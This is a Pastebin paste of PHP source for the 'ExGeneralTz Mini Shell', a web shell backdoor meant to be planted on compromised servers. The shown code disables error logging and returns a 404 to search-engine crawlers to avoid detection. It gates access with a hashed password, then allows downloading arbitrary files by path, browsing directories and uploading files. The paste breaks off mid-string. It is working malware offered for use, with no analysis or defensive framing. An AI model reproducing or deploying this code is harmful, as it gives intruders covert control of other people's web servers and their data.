Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $auth_pass = "53df01f2e4898f6d79cecdefbf354765";
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_shell() {
- ?>
- <html>
- <head>
- <title>{./ExGeneralTz Mini Shell}</title>
- <meta property="og:image"content="https://i.ibb.co/nb4k7kr/1561834293332.png"> <link rel="icon" type="image/jpg" href="https://i.ibb.co/nb4k7kr/1561834293332.png">
- <style type="text/css">
- html {
- margin: 20px auto;
- background: #FFFFFF;
- color: green;
- text-align: center;
- }
- header {
- color: red;
- margin: 10px auto;
- }
- input[type=password] {
- width: 250px;
- height: 25px;
- color: black;
- background: #FFFFFF;
- border: 1px dotted white;
- padding: 5px;
- margin-left: 5px;
- text-align: center;
- }
- </style>
- </head>
- <center>
- <header>
- <img src="https://i.ibb.co/nb4k7kr/1561834293332.png" border="0" width="330" height="300" alt="ExGeneral" /></a><br><br>
- </header>
- <form method="post">
- <input type="password" name="pass">
- </form>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_shell();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- echo '<!DOCTYPE HTML>
- <html>
- <head>
- <link href="" rel="stylesheet" type="text/css">
- <title> {./ExGeneralTz Mini Shell} </title>
- <meta property="og:image"content="https://i.ibb.co/nb4k7kr/1561834293332.png"> <link rel="icon" type="image/jpg" href="https://i.ibb.co/nb4k7kr/1561834293332.png">
- <style>
- body{
- font-family: "Racing Sans One", Courier New;
- background-color: black;
- color:white;
- }
- #content tr:hover{
- background-color: gray;
- text-shadow:0px 0px 10px #fff;
- }
- #content .first{
- background-color: gray;
- }
- table{
- border: 1px #000000 dotted;
- }
- a{
- color:white;
- text-decoration: none;
- }
- a:hover{
- color:lime;
- text-shadow:0px 0px 10px #ffffff;
- }
- input,select,textarea{
- border: 1px #000000 solid;
- -moz-border-radius: 5px;
- -webkit-border-radius:5px;
- border-radius:5px;
- }
- </style>
- </head>
- <body>
- <h1><center><font color="white">./ExGeneralTz Mini Shell</font></center></h1>
- <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr><td><font color="white"> Current Dir -> </font> ';
- if(isset($_GET['path'])){
- $path = $_GET['path'];
- }else{
- $path = getcwd();
- }
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?path=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?path=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo '</td></tr><tr><td>';
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
- echo '<font color="lime">Cie Cie Filenya Berhasil Diupload >_< </font><br />';
- }else{
- echo '<font color="red">Yahh Filenya Gaga
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement